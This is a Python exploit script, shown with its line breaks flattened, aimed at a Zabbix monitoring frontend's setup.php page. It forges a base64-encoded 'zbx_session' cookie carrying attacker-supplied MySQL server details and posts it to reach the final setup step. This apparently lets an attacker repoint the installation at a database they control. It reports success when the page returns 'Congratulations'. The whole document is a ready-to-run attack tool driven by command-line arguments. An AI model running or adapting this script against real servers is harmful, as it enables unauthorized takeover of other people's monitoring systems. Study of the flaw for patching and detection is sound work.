import requests import random import base64 import argparse def make_cookie(db_ip, db_port, password, db_user): # BRIEF: create request # PARAM: db_ip - target SQL server # PARAM: db_port - target SQL port # PARAM: password - target SQL server password # PARAM: db_user - target SQL server user zbx_session = { "step": "6", "default_timezone": "system", "DB_TYPE": "MYSQL", "DB_SERVER": db_ip, "DB_PORT": db_port, "DB_DATABASE":"zabbix", "DB_USER": db_user, "DB_PASSWORD": password } # Replace single-quotes with double-quotes # Probably not needed except for my sanity ;) zbx_session = str(zbx_session).replace("'", '"') # Expects a base64 encoded string as output into the cookie return base64.urlsafe_b64encode(zbx_session.encode()) def make_data(): # BRIEF: get random sid and make the data with it # This is not all that important, as long as it exists in the request sid = hex(random.getrandbits(64))[2:].zfill(16) data = { "sid": sid, "form_refresh":"1", "next[5]":"Next step" } return data def main(): # Argument parse fun p = argparse.ArgumentParser() p.add_argument("-u", "--url", required=True, help="Full path of the vulnerable endpoint (ex.: http://127.0.0.1/zabbix/setup.php)") p.add_argument("-p", "--password", required=True, help="Password for MySQL user") p.add_argument("-di", "--db_ip", required=True, help="IP for MySQL database to connect to") p.add_argument("-dp", "--db_port", help="Port (if not 3306) to use for MySQL") p.add_argument("-du", "--db_user", required=True, help="Username for MySQL user") p.add_argument("--debug", action="store_true", help="Prints out response text to exploit.html") arguments = p.parse_args() # Check for a user specified port, if not, just use 3306 port = 3306 if arguments.db_port: port = arguments.db_port print("[!] Port specified: ", port) # Create the cookie (has the DB info in it) zbx_session = make_cookie(arguments.db_ip, port, arguments.password, arguments.db_user) if zbx_session == "": print("[X] Failed to craft cookie") return 1 # Create data for the request data = make_data() # Cookies must be held inside a dict, like so: cookies = { "zbx_session": zbx_session.decode('utf-8') } # Send it! response = requests.post(arguments.url, data=data, cookies=cookies) status = 1 # Program might return 200 with an error, so check text of output if "Congratulations" in response.text: print("[!] Hooray! Exploit completed successfully!") status = 0 else: print("[X] Exploit was not successful\nStatus: ", response.status_code) # If user wants debug output, write it if arguments.debug: handle = open("./exploit.html", "w+") handle.write(response.text) handle.close() return status if __name__ == "__main__": main()